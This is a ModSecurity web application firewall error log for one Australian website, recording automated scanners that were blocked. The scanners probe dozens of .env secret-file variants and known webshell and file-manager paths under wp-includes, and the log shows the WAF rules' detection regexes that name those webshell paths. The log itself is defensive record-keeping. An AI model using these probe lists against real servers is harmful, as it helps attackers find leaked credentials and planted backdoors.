[Tue Apr 07 20:43:01.859431 2026] [:error] [pid 37596:tid 37622] [client 35.178.182.193:49408] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.remote"] [unique_id "adT71apaAOZHEjRWjP2eLgAAABA"]
[Tue Apr 07 20:43:02.832086 2026] [:error] [pid 37597:tid 37643] [client 35.178.182.193:49424] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "adT71g6uAY0QAy-8EEJ_VAAAAEk"]
[Tue Apr 07 20:43:03.803947 2026] [:error] [pid 37719:tid 37732] [client 35.178.182.193:52472] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "adT71009Xv52u2xXGLAgEgAAAMo"]
[Tue Apr 07 20:43:04.784174 2026] [:error] [pid 59804:tid 59825] [client 35.178.182.193:52482] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "adT72HYVIXiPh5_eJTmscwAAAhM"]
[Tue Apr 07 20:43:05.759064 2026] [:error] [pid 37597:tid 37644] [client 35.178.182.193:52488] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "adT72Q6uAY0QAy-8EEJ_YAAAAEo"]
[Tue Apr 07 20:43:06.736469 2026] [:error] [pid 37598:tid 37674] [client 35.178.182.193:52494] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.sample"] [unique_id "adT72u9g7q_cV2WhPay6sQAAAI0"]
[Tue Apr 07 20:43:07.702728 2026] [:error] [pid 59551:tid 59565] [client 35.178.182.193:52506] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "adT7217LN7Ubyqs-sVsMtwAAAYw"]
[Tue Apr 07 20:43:08.676718 2026] [:error] [pid 12948:tid 12973] [client 35.178.182.193:52516] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.dev"] [unique_id "adT73MbeSPAN8LvMqsawzgAAARY"]
[Tue Apr 07 20:43:09.649112 2026] [:error] [pid 37719:tid 37739] [client 35.178.182.193:52540] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.prod"] [unique_id "adT73U09Xv52u2xXGLAgGQAAANE"]
[Tue Apr 07 20:43:10.629402 2026] [:error] [pid 37719:tid 37733] [client 35.178.182.193:52552] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.stage"] [unique_id "adT73k09Xv52u2xXGLAgHQAAAMs"]
[Tue Apr 07 20:43:11.602921 2026] [:error] [pid 59551:tid 59572] [client 35.178.182.193:52564] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.ci"] [unique_id "adT7317LN7Ubyqs-sVsMwgAAAZM"]
[Tue Apr 07 20:43:12.582033 2026] [:error] [pid 37598:tid 37679] [client 35.178.182.193:52580] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.live"] [unique_id "adT74O9g7q_cV2WhPay6tgAAAJI"]
[Tue Apr 07 20:43:13.552055 2026] [:error] [pid 59551:tid 59553] [client 35.178.182.193:52604] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.preprod"] [unique_id "adT74V7LN7Ubyqs-sVsMywAAAYA"]
[Tue Apr 07 20:43:14.523209 2026] [:error] [pid 59551:tid 59568] [client 35.178.182.193:49488] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.uat"] [unique_id "adT74l7LN7Ubyqs-sVsM0wAAAY8"]
[Tue Apr 07 20:43:15.493571 2026] [:error] [pid 37597:tid 37648] [client 35.178.182.193:49500] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.dist"] [unique_id "adT74w6uAY0QAy-8EEJ_dQAAAE4"]
[Tue Apr 07 20:43:16.473421 2026] [:error] [pid 37597:tid 37641] [client 35.178.182.193:49516] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.swp"] [unique_id "adT75A6uAY0QAy-8EEJ_ewAAAEc"]
[Tue Apr 07 20:43:17.440546 2026] [:error] [pid 12948:tid 12955] [client 35.178.182.193:49522] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env~"] [unique_id "adT75cbeSPAN8LvMqsaw0AAAAQQ"]
[Tue Apr 07 20:43:18.407115 2026] [:error] [pid 37719:tid 37729] [client 35.178.182.193:49542] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "adT75k09Xv52u2xXGLAgMAAAAMc"]
[Tue Apr 07 20:43:19.385013 2026] [:error] [pid 59551:tid 59570] [client 35.178.182.193:49566] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/apps/.env"] [unique_id "adT7517LN7Ubyqs-sVsM4wAAAZE"]
[Tue Apr 07 20:43:20.356024 2026] [:error] [pid 59804:tid 59816] [client 35.178.182.193:49580] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "adT76HYVIXiPh5_eJTmstgAAAgo"]
[Tue Apr 07 20:43:21.327011 2026] [:error] [pid 37719:tid 37737] [client 35.178.182.193:49600] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/web/.env"] [unique_id "adT76U09Xv52u2xXGLAgOgAAAM8"]
[Tue Apr 07 20:43:22.300718 2026] [:error] [pid 37719:tid 37729] [client 35.178.182.193:49612] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/site/.env"] [unique_id "adT76k09Xv52u2xXGLAgPQAAAMc"]
[Tue Apr 07 20:43:23.272120 2026] [:error] [pid 59551:tid 59571] [client 35.178.182.193:49642] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/public/.env"] [unique_id "adT7617LN7Ubyqs-sVsM6gAAAZI"]
[Tue Apr 07 20:43:24.248985 2026] [:error] [pid 59551:tid 59575] [client 35.178.182.193:39442] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/admin/.env"] [unique_id "adT77F7LN7Ubyqs-sVsM7QAAAZY"]
[Tue Apr 07 20:43:25.224500 2026] [:error] [pid 37719:tid 37724] [client 35.178.182.193:39454] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/backend/.env"] [unique_id "adT77U09Xv52u2xXGLAgRAAAAMI"]
[Tue Apr 07 22:09:43.827927 2026] [:error] [pid 37598:tid 37663] [client 43.140.247.223:43064] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adUQJ-9g7q_cV2WhPazScwAAAII"]
[Wed Apr 08 00:17:00.552185 2026] [:error] [pid 59804:tid 59811] [client 206.212.255.116:52338] [client 206.212.255.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.212.255.116, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "adUt_HYVIXiPh5_eJTkY3wAAAgU"]
[Wed Apr 08 01:33:25.596503 2026] [:error] [pid 5337:tid 5376] [client 43.166.134.114:40832] [client 43.166.134.114] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adU_5SboIFdw6tlcN13cFQAAARI"]
[Wed Apr 08 02:31:05.422357 2026] [:error] [pid 5246:tid 5251] [client 170.106.82.209:46596] [client 170.106.82.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adVNaRLpySxaVC8kLEaZogAAAME"]
[Wed Apr 08 03:04:48.222299 2026] [:error] [pid 303:tid 312] [client 216.73.216.40:48383] [client 216.73.216.40] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||measureyourbrand.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "adVVUM9wWR0DHTrNMuhAdAAAAUY"]
[Wed Apr 08 03:54:34.602573 2026] [:error] [pid 16643:tid 16693] [client 193.70.33.35:54770] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "adVg-kfokaJVN_Mu_H2dSAAAAEw"]
[Wed Apr 08 03:54:37.133371 2026] [:error] [pid 16743:tid 16756] [client 193.70.33.35:45258] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "adVg_ccwMgE0xkyy3sGoBQAAAMo"]
[Wed Apr 08 03:54:39.416843 2026] [:error] [pid 16643:tid 16702] [client 193.70.33.35:45272] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "adVg_0fokaJVN_Mu_H2dSwAAAFU"]
[Wed Apr 08 03:54:41.824297 2026] [:error] [pid 16642:tid 16670] [client 193.70.33.35:45284] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "adVhASm3I9EIY2ayqxBfVwAAABA"]
[Wed Apr 08 03:54:44.233778 2026] [:error] [pid 16643:tid 16699] [client 193.70.33.35:45300] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "adVhBEfokaJVN_Mu_H2dVwAAAFI"]
[Wed Apr 08 03:54:46.645323 2026] [:error] [pid 16743:tid 16753] [client 193.70.33.35:57818] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "adVhBscwMgE0xkyy3sGoLgAAAMc"]
[Wed Apr 08 03:54:49.169953 2026] [:error] [pid 16642:tid 16655] [client 193.70.33.35:57830] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "adVhCSm3I9EIY2ayqxBfXQAAAAE"]
[Wed Apr 08 04:36:25.154278 2026] [:error] [pid 47732:tid 47756] [client 182.44.9.147:58999] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adVqyYm4N5QW9Mh7G10N-AAAANY"]
[Wed Apr 08 04:41:12.851908 2026] [:error] [pid 16630:tid 16653] [client 188.95.54.39:42824] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "adVr6CjfVAkPG-jgJEpgcgAAARU"]
[Wed Apr 08 04:41:14.200403 2026] [:error] [pid 47627:tid 47715] [client 188.95.54.39:50210] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "adVr6nOljf1Quv_kDjl4mAAAAJA"]
[Wed Apr 08 04:41:16.356043 2026] [:error] [pid 47626:tid 47670] [client 188.95.54.39:50218] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adVr7KjWI8TWtHx2sdbp_wAAAEI"]
[Wed Apr 08 04:41:17.702118 2026] [:error] [pid 47732:tid 47748] [client 188.95.54.39:50226] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "adVr7Ym4N5QW9Mh7G10TpAAAAM4"]
[Wed Apr 08 04:41:19.770092 2026] [:error] [pid 16630:tid 16642] [client 188.95.54.39:50240] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "adVr7yjfVAkPG-jgJEpgiwAAAQo"]
[Wed Apr 08 04:41:20.542863 2026] [:error] [pid 16630:tid 16656] [client 188.95.54.39:50246] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "adVr8CjfVAkPG-jgJEpgkgAAARg"]
[Wed Apr 08 04:41:21.052334 2026] [:error] [pid 16630:tid 16639] [client 188.95.54.39:50250] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "adVr8SjfVAkPG-jgJEpglwAAAQc"]
[Wed Apr 08 04:41:21.589069 2026] [:error] [pid 47626:tid 47669] [client 188.95.54.39:50264] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "adVr8ajWI8TWtHx2sdbqBgAAAEE"]
[Wed Apr 08 04:41:22.101191 2026] [:error] [pid 47732:tid 47738] [client 188.95.54.39:50276] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "adVr8om4N5QW9Mh7G10TpgAAAMQ"]
[Wed Apr 08 04:41:22.622431 2026] [:error] [pid 16630:tid 16655] [client 188.95.54.39:50282] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "adVr8ijfVAkPG-jgJEpgowAAARc"]
[Wed Apr 08 04:41:23.405952 2026] [:error] [pid 16630:tid 16641] [client 188.95.54.39:48052] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "adVr8yjfVAkPG-jgJEpgrAAAAQk"]
[Wed Apr 08 04:41:26.114745 2026] [:error] [pid 16630:tid 16656] [client 188.95.54.39:48068] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "adVr9ijfVAkPG-jgJEpgxAAAARg"]
[Wed Apr 08 04:41:27.168946 2026] [:error] [pid 47627:tid 47716] [client 188.95.54.39:48076] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "adVr93Oljf1Quv_kDjl4twAAAJE"]
[Wed Apr 08 04:41:27.978691 2026] [:error] [pid 47627:tid 47699] [client 188.95.54.39:48086] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "adVr93Oljf1Quv_kDjl4vgAAAIA"]
